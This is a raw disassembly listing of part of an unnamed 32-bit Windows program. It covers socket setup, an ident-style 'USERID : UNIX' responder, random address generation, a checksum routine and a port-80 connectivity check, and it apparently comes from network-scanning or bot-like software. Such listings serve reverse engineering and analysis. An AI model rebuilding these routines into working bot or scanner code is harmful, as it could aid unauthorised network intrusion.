		cmp	[ebp+var_1228],	0
		jz	short loc_403EF6
		cmp	[ebp+var_1228],	0FFFFFFFFh
		jz	short loc_403EF6
		lea	eax, [ebp+var_1000]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		cmp	eax, 10h
		jbe	short loc_403F07


loc_403EF6:				; CODE XREF: sub_403DF3+E6j
					; sub_403DF3+EFj
		push	[ebp+var_11B8]
		call	sub_40538D
		pop	ecx
		jmp	loc_403E75
; ---------------------------------------------------------------------------


loc_403F07:				; CODE XREF: sub_403DF3+101j
		movsx	eax, byte_41EE98
		test	eax, eax
		jz	short loc_403F27
		push	offset byte_41EE98
		lea	eax, [ebp+var_1224]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_403F57
; ---------------------------------------------------------------------------


loc_403F27:				; CODE XREF: sub_403DF3+11Dj
		lea	eax, [ebp+var_1200]
		push	eax
		lea	eax, [ebp+var_1224]
		push	eax
		lea	eax, [ebp+var_11DC]
		push	eax
		call	sub_40668F
		add	esp, 0Ch
		lea	eax, [ebp+var_1224]
		push	eax
		push	offset byte_41EE98
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx


loc_403F57:				; CODE XREF: sub_403DF3+132j
		push	offset aUseridUnix ; " : USERID	: UNIX : "
		lea	eax, [ebp+var_1000]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_1224]
		push	eax
		lea	eax, [ebp+var_1000]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		push	offset asc_418214 ; "\r\n"
		lea	eax, [ebp+var_1000]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_1000]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		inc	eax
		push	eax
		lea	eax, [ebp+var_1000]
		push	eax
		push	[ebp+var_11B8]
		call	sub_4053BF
		add	esp, 0Ch
		push	[ebp+var_11B8]
		call	sub_40538D
		pop	ecx
		jmp	loc_403E75
; ---------------------------------------------------------------------------


loc_403FC7:				; CODE XREF: sub_403DF3:loc_403EA2j
		push	[ebp+var_11B4]
		call	sub_404CBB
		pop	ecx
		push	[ebp+var_11B0]
		call	sub_409763
		pop	ecx
		xor	eax, eax

locret_403FE1:				; CODE XREF: sub_403DF3+5Aj
		leave
		retn	4
sub_403DF3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403FE5	proc near		; CODE XREF: sub_40A9CF+EECp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_4], 0
		jz	short loc_403FFD
		push	[ebp+arg_4]
		call	sub_40422A
		pop	ecx
		test	eax, eax
		jnz	short loc_404004


loc_403FFD:				; CODE XREF: sub_403FE5+9j
		mov	[ebp+arg_4], offset dword_418A18


loc_404004:				; CODE XREF: sub_403FE5+16j
		push	1ADh
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_40401A
		jmp	short locret_40407B
; ---------------------------------------------------------------------------


loc_40401A:				; CODE XREF: sub_403FE5+31j
		push	6
		push	[ebp+arg_4]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 0Ah
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		cmp	[ebp+arg_0], 0
		jz	short loc_404059
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+18Bh]
		test	eax, eax
		jz	short loc_404059
		and	[ebp+var_8], 0
		jmp	short loc_404060
; ---------------------------------------------------------------------------


loc_404059:				; CODE XREF: sub_403FE5+5Ej
					; sub_403FE5+6Cj
		mov	[ebp+var_8], 1


loc_404060:				; CODE XREF: sub_403FE5+72j
		push	[ebp+arg_4]
		push	offset dword_4189F8
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	offset sub_403DF3
		call	sub_4095A4
		add	esp, 14h

locret_40407B:				; CODE XREF: sub_403FE5+33j
		leave
		retn
sub_403FE5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40407D	proc near		; CODE XREF: sub_4055E5+772p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0


loc_404085:				; CODE XREF: sub_40407D+2Cj
		cmp	[ebp+arg_4], 1
		jbe	short loc_4040AB
		mov	eax, [ebp+arg_0]
		movzx	eax, word ptr [eax]
		mov	ecx, [ebp+var_4]
		add	ecx, eax
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+arg_0]
		inc	eax
		inc	eax
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+arg_4]
		dec	eax
		dec	eax
		mov	[ebp+arg_4], eax
		jmp	short loc_404085
; ---------------------------------------------------------------------------


loc_4040AB:				; CODE XREF: sub_40407D+Cj
		cmp	[ebp+arg_4], 0
		jz	short loc_4040BF
		mov	eax, [ebp+arg_0]
		movzx	eax, byte ptr [eax]
		mov	ecx, [ebp+var_4]
		add	ecx, eax
		mov	[ebp+var_4], ecx


loc_4040BF:				; CODE XREF: sub_40407D+32j
		mov	eax, [ebp+var_4]
		shr	eax, 10h
		mov	ecx, [ebp+var_4]
		and	ecx, 0FFFFh
		add	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shr	eax, 10h
		mov	ecx, [ebp+var_4]
		add	ecx, eax
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		not	eax
		leave
		retn
sub_40407D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4040E8	proc near		; CODE XREF: sub_4055E5+752p
					; sub_40A9CF+1A2Fp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 2
		jz	short loc_404146
		cmp	[ebp+var_4], 3
		jz	short loc_404124
		cmp	[ebp+var_4], 4
		jz	short loc_404106
		jmp	short loc_40416A
; ---------------------------------------------------------------------------


loc_404106:				; CODE XREF: sub_4040E8+1Aj
		mov	eax, [ebp+arg_0]
		and	al, 0
		mov	[ebp+arg_0], eax
		push	0FEh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_0]
		or	ecx, eax
		mov	[ebp+arg_0], ecx


loc_404124:				; CODE XREF: sub_4040E8+14j
		mov	eax, [ebp+arg_0]
		and	ah, 0
		mov	[ebp+arg_0], eax
		push	0FEh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		shl	eax, 8
		mov	ecx, [ebp+arg_0]
		or	ecx, eax
		mov	[ebp+arg_0], ecx


loc_404146:				; CODE XREF: sub_4040E8+Ej
		mov	eax, [ebp+arg_0]
		and	eax, 0FF00FFFFh
		mov	[ebp+arg_0], eax
		push	0FEh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		shl	eax, 10h
		mov	ecx, [ebp+arg_0]
		or	ecx, eax
		mov	[ebp+arg_0], ecx


loc_40416A:				; CODE XREF: sub_4040E8+1Cj
		mov	eax, [ebp+arg_0]
		and	eax, 0FFFFFFh
		mov	[ebp+arg_0], eax
		push	0FEh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		shl	eax, 18h
		mov	ecx, [ebp+arg_0]
		or	ecx, eax
		mov	[ebp+arg_0], ecx
		mov	eax, [ebp+arg_0]
		leave
		retn
sub_4040E8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404193	proc near		; CODE XREF: sub_404279+Ap
					; sub_40435B+17p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0Ah
		push	[ebp+arg_0]
		push	0FFFFh
		push	401h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		push	eax
		call	sub_416F7A	; _itoa
		add	esp, 0Ch
		pop	ebp
		retn
sub_404193	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4041B7	proc near		; CODE XREF: sub_40D871+5B3p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	4
		push	offset dword_418A48
		push	[ebp+arg_0]
		call	sub_416BF0	; strncmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4041D5
		push	1
		pop	eax
		jmp	short loc_404228
; ---------------------------------------------------------------------------


loc_4041D5:				; CODE XREF: sub_4041B7+17j
		push	4
		push	offset dword_418A40
		push	[ebp+arg_0]
		call	sub_416BF0	; strncmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4041F0
		push	1
		pop	eax
		jmp	short loc_404228
; ---------------------------------------------------------------------------


loc_4041F0:				; CODE XREF: sub_4041B7+32j
		push	8
		push	offset dword_418A34
		push	[ebp+arg_0]
		call	sub_416BF0	; strncmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_40420B
		push	1
		pop	eax
		jmp	short loc_404228
; ---------------------------------------------------------------------------


loc_40420B:				; CODE XREF: sub_4041B7+4Dj
		push	3
		push	offset dword_418A30
		push	[ebp+arg_0]
		call	sub_416BF0	; strncmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_404226
		push	1
		pop	eax
		jmp	short loc_404228
; ---------------------------------------------------------------------------


loc_404226:				; CODE XREF: sub_4041B7+68j
		xor	eax, eax


loc_404228:				; CODE XREF: sub_4041B7+1Cj
					; sub_4041B7+37j ...
		pop	ebp
		retn
sub_4041B7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40422A	proc near		; CODE XREF: sub_402A32+206p
					; sub_403FE5+Ep ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_40423C
; ---------------------------------------------------------------------------


loc_404235:				; CODE XREF: sub_40422A:loc_404273j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_40423C:				; CODE XREF: sub_40422A+9j
		cmp	[ebp+var_4], 6
		jnz	short loc_404244
		jmp	short loc_404275
; ---------------------------------------------------------------------------


loc_404244:				; CODE XREF: sub_40422A+16j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_404273
		push	[ebp+arg_0]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_40426C
		cmp	[ebp+var_8], 0FFFFh
		jbe	short loc_40426E


loc_40426C:				; CODE XREF: sub_40422A+37j
		jmp	short loc_404275
; ---------------------------------------------------------------------------


loc_40426E:				; CODE XREF: sub_40422A+40j
		push	1
		pop	eax
		jmp	short locret_404277
; ---------------------------------------------------------------------------


loc_404273:				; CODE XREF: sub_40422A+25j
		jmp	short loc_404235
; ---------------------------------------------------------------------------


loc_404275:				; CODE XREF: sub_40422A+18j
					; sub_40422A:loc_40426Cj
		xor	eax, eax

locret_404277:				; CODE XREF: sub_40422A+47j
		leave
		retn
sub_40422A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404279	proc near		; CODE XREF: sub_4042FB+Cp
					; sub_408B30+197p ...

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_404193
		pop	ecx
		push	1
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_4046BC
		pop	ecx
		pop	ecx
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jnz	short loc_4042A4
		push	1
		pop	eax
		jmp	short locret_4042F9
; ---------------------------------------------------------------------------


loc_4042A4:				; CODE XREF: sub_404279+24j
		push	0BB8h
		push	0
		lea	eax, [ebp+var_8]
		push	eax
		push	offset dword_41EF18
		call	sub_4050EA
		add	esp, 10h
		mov	[ebp+var_C], eax
		push	[ebp+var_10]
		call	sub_404CBB
		pop	ecx
		cmp	[ebp+var_C], 0
		jz	short loc_4042DA
		cmp	[ebp+var_C], 0FFFFFFFFh
		jz	short loc_4042DA
		and	[ebp+var_18], 0
		jmp	short loc_4042E1
; ---------------------------------------------------------------------------


loc_4042DA:				; CODE XREF: sub_404279+53j
					; sub_404279+59j
		mov	[ebp+var_18], 1


loc_4042E1:				; CODE XREF: sub_404279+5Fj
		mov	eax, [ebp+var_18]
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0
		jnz	short loc_4042F6
		push	[ebp+var_C]
		call	sub_4053B1
		pop	ecx


loc_4042F6:				; CODE XREF: sub_404279+72j
		mov	eax, [ebp+var_14]

locret_4042F9:				; CODE XREF: sub_404279+29j
		leave
		retn
sub_404279	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4042FB	proc near		; CODE XREF: sub_411D68+4p
					; sub_41349C+1FAp ...
		push	ebp
		mov	ebp, esp
		cmp	dword_41E264, 0
		jnz	short loc_404327
		call	sub_404279
		push	eax
		push	offset dword_41E268
		call	sub_409C9D
		pop	ecx
		pop	ecx
		push	1
		push	offset dword_41E264
		call	sub_409C9D
		pop	ecx
		pop	ecx


loc_404327:				; CODE XREF: sub_4042FB+Aj
		mov	eax, dword_41E268
		pop	ebp
		retn
sub_4042FB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40432E	proc near		; CODE XREF: sub_40435B+6p
					; sub_4046BC+5Dp

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	0
		push	1
		push	17h
		call	dword_417218	; socket
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0FFFFFFFFh
		jz	short loc_404350
		push	[ebp+var_4]
		call	sub_4053B1
		pop	ecx


loc_404350:				; CODE XREF: sub_40432E+17j
		xor	eax, eax
		cmp	[ebp+var_4], 0FFFFFFFFh
		setnz	al
		leave
		retn
sub_40432E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40435B	proc near		; CODE XREF: sub_4083AD:loc_4085D6p

var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		call	sub_40432E
		test	eax, eax
		jnz	short loc_40436E
		xor	eax, eax
		jmp	short locret_4043E7
; ---------------------------------------------------------------------------


loc_40436E:				; CODE XREF: sub_40435B+Dj
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_404193
		pop	ecx
		push	1
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_4046BC
		pop	ecx
		pop	ecx
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jnz	short loc_404392
		xor	eax, eax
		jmp	short locret_4043E7
; ---------------------------------------------------------------------------


loc_404392:				; CODE XREF: sub_40435B+31j
		push	0BB8h
		push	2
		lea	eax, [ebp+var_14]
		push	eax
		push	offset dword_418A5C
		call	sub_4050EA
		add	esp, 10h
		mov	[ebp+var_8], eax
		push	[ebp+var_C]
		call	sub_404CBB
		pop	ecx
		cmp	[ebp+var_8], 0
		jz	short loc_4043CB
		cmp	[ebp+var_8], 0FFFFFFFFh
		jz	short loc_4043CB
		mov	[ebp+var_18], 1
		jmp	short loc_4043CF
; ---------------------------------------------------------------------------


loc_4043CB:				; CODE XREF: sub_40435B+5Fj
					; sub_40435B+65j
		and	[ebp+var_18], 0


loc_4043CF:				; CODE XREF: sub_40435B+6Ej
		mov	eax, [ebp+var_18]
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_4043E4
		push	[ebp+var_8]
		call	sub_4053B1
		pop	ecx


loc_4043E4:				; CODE XREF: sub_40435B+7Ej
		mov	eax, [ebp+var_4]

locret_4043E7:				; CODE XREF: sub_40435B+11j
					; sub_40435B+35j
		leave
		retn
sub_40435B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4043E9	proc near		; CODE XREF: sub_408B30:loc_408C9Fp
					; sub_40CA29+231p ...

var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	offset dword_418A1C
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4105FB
		pop	ecx
		push	7D0h
		push	2
		push	offset a80	; "80"
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4050EA
		add	esp, 10h
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_404439
		cmp	[ebp+var_8], 0FFFFFFFFh
		jz	short loc_404439
		mov	[ebp+var_20], 1
		jmp	short loc_40443D
; ---------------------------------------------------------------------------


loc_404439:				; CODE XREF: sub_4043E9+3Fj
					; sub_4043E9+45j
		and	[ebp+var_20], 0


loc_40443D:				; CODE XREF: sub_4043E9+4Ej
		mov	eax, [ebp+var_20]
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_404452
		push	[ebp+var_8]
		call	sub_4053B1
		pop	ecx


loc_404452:				; CODE XREF: sub_4043E9+5Ej
		mov	eax, [ebp+var_4]
		leave
		retn
sub_4043E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404457	proc near		; CODE XREF: sub_404FE7+AFp
					; sub_4050EA+EDp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		xor	eax, eax
		cmp	[ebp+arg_4], 0
		setz	al
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_4]
		push	eax
		push	8004667Eh
		push	[ebp+arg_0]
		call	dword_417214	; ioctlsocket
		leave
		retn
sub_404457	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40447B	proc near		; CODE XREF: sub_40732D+22Ep
					; sub_40732D+296p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	4004667Fh
		push	[ebp+arg_0]
		call	dword_417214	; ioctlsocket
		xor	eax, eax
		cmp	[ebp+var_4], 0
		setnz	al
		leave
		retn
sub_40447B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40449C	proc near		; CODE XREF: sub_40D871+5A1p
					; sub_411DC5+65p

var_84		= dword	ptr -84h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 84h
		mov	[ebp+var_84], 80h
		lea	eax, [ebp+var_84]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		push	[ebp+arg_0]
		call	dword_417240	; getsockname
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4044CC
		xor	eax, eax
		jmp	short locret_4044F5
; ---------------------------------------------------------------------------


loc_4044CC:				; CODE XREF: sub_40449C+2Aj
		push	2
		push	0
		push	0
		push	100h
		push	[ebp+arg_4]
		push	[ebp+var_84]
		lea	eax, [ebp+var_80]
		push	eax
		call	dword_41DE58	; getnameinfo
		test	eax, eax
		jz	short loc_4044F2
		xor	eax, eax
		jmp	short locret_4044F5
; ---------------------------------------------------------------------------


loc_4044F2:				; CODE XREF: sub_40449C+50j
		push	1
		pop	eax

locret_4044F5:				; CODE XREF: sub_40449C+2Ej
					; sub_40449C+54j
		leave
		retn
sub_40449C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4044F7	proc near		; CODE XREF: sub_40732D+DDp
					; sub_4129CA+29p ...

var_84		= dword	ptr -84h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 84h
		mov	[ebp+var_84], 80h
		lea	eax, [ebp+var_84]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		push	[ebp+arg_0]
		call	dword_417210	; getpeername
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_404527
		xor	eax, eax
		jmp	short locret_404550
; ---------------------------------------------------------------------------


loc_404527:				; CODE XREF: sub_4044F7+2Aj
		push	2
		push	0
		push	0
		push	100h
		push	[ebp+arg_4]
		push	[ebp+var_84]
		lea	eax, [ebp+var_80]
		push	eax
		call	dword_41DE58	; getnameinfo
		test	eax, eax
		jz	short loc_40454D
		xor	eax, eax
		jmp	short locret_404550
; ---------------------------------------------------------------------------


loc_40454D:				; CODE XREF: sub_4044F7+50j
		push	1
		pop	eax

locret_404550:				; CODE XREF: sub_4044F7+2Ej
					; sub_4044F7+54j
		leave
		retn
sub_4044F7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404552	proc near		; CODE XREF: sub_41331E+A6p
					; sub_415F69+256p

var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 88h
		mov	[ebp+var_88], 80h
		lea	eax, [ebp+var_88]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		push	[ebp+arg_0]
		call	dword_417240	; getsockname
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_404582
		xor	eax, eax
		jmp	short locret_4045B0
; ---------------------------------------------------------------------------


loc_404582:				; CODE XREF: sub_404552+2Aj
		lea	eax, [ebp+var_80]
		mov	[ebp+var_84], eax
		push	0Ah
		push	[ebp+arg_4]
		mov	eax, [ebp+var_84]
		mov	ax, [eax+2]
		push	eax
		call	dword_417238	; htons
		movzx	eax, ax
		push	eax
		call	sub_416F7A	; _itoa
		add	esp, 0Ch
		push	1
		pop	eax

locret_4045B0:				; CODE XREF: sub_404552+2Ej
		leave
		retn
sub_404552	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4045B2	proc near		; CODE XREF: sub_4143B0+191p
					; sub_415F69+20Ap

var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 88h
		mov	[ebp+var_88], 80h
		lea	eax, [ebp+var_88]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		push	[ebp+arg_0]
		call	dword_417210	; getpeername
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4045E2
		xor	eax, eax
		jmp	short locret_404610
; ---------------------------------------------------------------------------


loc_4045E2:				; CODE XREF: sub_4045B2+2Aj
		lea	eax, [ebp+var_80]
		mov	[ebp+var_84], eax
		push	0Ah
		push	[ebp+arg_4]
		mov	eax, [ebp+var_84]
		mov	ax, [eax+2]
		push	eax
		call	dword_417238	; htons
		movzx	eax, ax
		push	eax
		call	sub_416F7A	; _itoa
		add	esp, 0Ch
		push	1
		pop	eax

locret_404610:				; CODE XREF: sub_4045B2+2Ej
		leave
		retn
sub_4045B2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404612	proc near		; CODE XREF: sub_40D871+69Cp

var_40C		= dword	ptr -40Ch
var_408		= dword	ptr -408h
var_404		= byte ptr -404h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 40Ch
		lea	eax, [ebp+var_408]
		push	eax
		push	0
		push	0
		push	[ebp+arg_0]
		call	dword_41DE54	; getaddrinfo
		test	eax, eax
		jnz	loc_4046B8
		mov	eax, [ebp+var_408]
		mov	[ebp+var_40C], eax


loc_404643:				; CODE XREF: sub_404612+98j
		cmp	[ebp+var_40C], 0
		jz	short loc_4046AC
		push	2
		push	0
		push	0
		push	401h
		lea	eax, [ebp+var_404]
		push	eax
		mov	eax, [ebp+var_40C]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+var_40C]
		push	dword ptr [eax+18h]
		call	dword_41DE58	; getnameinfo
		test	eax, eax
		jnz	short loc_40469B
		mov	eax, [ebp+var_40C]
		cmp	dword ptr [eax+4], 2
		jnz	short loc_40469B
		lea	eax, [ebp+var_404]
		push	eax
		push	[ebp+arg_4]
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		mov	al, 1
		jmp	short locret_4046BA
; ---------------------------------------------------------------------------


loc_40469B:				; CODE XREF: sub_404612+66j
					; sub_404612+72j
		mov	eax, [ebp+var_40C]
		mov	eax, [eax+1Ch]
		mov	[ebp+var_40C], eax
		jmp	short loc_404643
; ---------------------------------------------------------------------------


loc_4046AC:				; CODE XREF: sub_404612+38j
		push	[ebp+var_408]
		call	dword_41DE5C	; freeaddrinfo


loc_4046B8:				; CODE XREF: sub_404612+1Fj
		xor	al, al

locret_4046BA:				; CODE XREF: sub_404612+87j
		leave
		retn
sub_404612	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4046BC	proc near		; CODE XREF: sub_4020C2+124p
					; sub_403DF3+36p ...

var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 3Ch
		xor	eax, eax
		test	eax, eax
		jz	short loc_4046D1
		mov	[ebp+var_3C], 2
		jmp	short loc_4046D8
; ---------------------------------------------------------------------------


loc_4046D1:				; CODE XREF: sub_4046BC+Aj
		mov	[ebp+var_3C], 1


loc_4046D8:				; CODE XREF: sub_4046BC+13j
		mov	eax, [ebp+var_3C]
		mov	[ebp+var_8], eax
		push	1008h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_2C], eax
		cmp	[ebp+var_2C], 0
		jnz	short loc_4046F9
		xor	eax, eax
		jmp	locret_40486F
; ---------------------------------------------------------------------------


loc_4046F9:				; CODE XREF: sub_4046BC+34j
		mov	eax, [ebp+var_2C]
		and	dword ptr [eax], 0
		mov	eax, [ebp+var_2C]
		and	dword ptr [eax+804h], 0
		push	20h
		push	0
		lea	eax, [ebp+var_28]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		call	sub_40432E
		neg	eax
		sbb	eax, eax
		and	al, 0FEh
		inc	eax
		inc	eax
		mov	[ebp+var_24], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_20], eax
		mov	[ebp+var_28], 5
		lea	eax, [ebp+var_30]
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		push	[ebp+arg_0]
		push	0
		call	dword_41DE54	; getaddrinfo
		test	eax, eax
		jz	short loc_40475D
		push	[ebp+var_2C]
		call	sub_416B4C	; free
		pop	ecx
		xor	eax, eax
		jmp	locret_40486F
; ---------------------------------------------------------------------------


loc_40475D:				; CODE XREF: sub_4046BC+8Fj
		mov	eax, [ebp+var_30]
		mov	[ebp+var_4], eax
		jmp	short loc_40476E
; ---------------------------------------------------------------------------


loc_404765:				; CODE XREF: sub_4046BC+DDj
					; sub_4046BC+F1j ...
		mov	eax, [ebp+var_4]
		mov	eax, [eax+1Ch]
		mov	[ebp+var_4], eax


loc_40476E:				; CODE XREF: sub_4046BC+A7j
		cmp	[ebp+var_4], 0
		jz	loc_40484E
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+0Ch]
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+8]
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+4]
		call	dword_417218	; socket
		mov	[ebp+var_34], eax
		cmp	[ebp+var_34], 0FFFFFFFFh
		jnz	short loc_40479B
		jmp	short loc_404765
; ---------------------------------------------------------------------------


loc_40479B:				; CODE XREF: sub_4046BC+DBj
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax+4], 2
		jz	short loc_4047AF
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax+4], 17h
		jz	short loc_4047AF
		jmp	short loc_404765
; ---------------------------------------------------------------------------


loc_4047AF:				; CODE XREF: sub_4046BC+E6j
					; sub_4046BC+EFj
		mov	eax, [ebp+arg_4]
		and	eax, 2
		test	eax, eax
		jz	short loc_4047D6
		mov	[ebp+var_38], 1
		push	4
		lea	eax, [ebp+var_38]
		push	eax
		push	4
		push	0FFFFh
		push	[ebp+var_34]
		call	dword_417204	; setsockopt


loc_4047D6:				; CODE XREF: sub_4046BC+FBj
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+18h]
		push	[ebp+var_34]
		call	dword_417208	; bind
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4047FE
		push	[ebp+var_34]
		call	sub_4053B1
		pop	ecx
		jmp	loc_404765
; ---------------------------------------------------------------------------


loc_4047FE:				; CODE XREF: sub_4046BC+132j
		cmp	[ebp+var_8], 1
		jnz	short loc_404822
		push	32h
		push	[ebp+var_34]
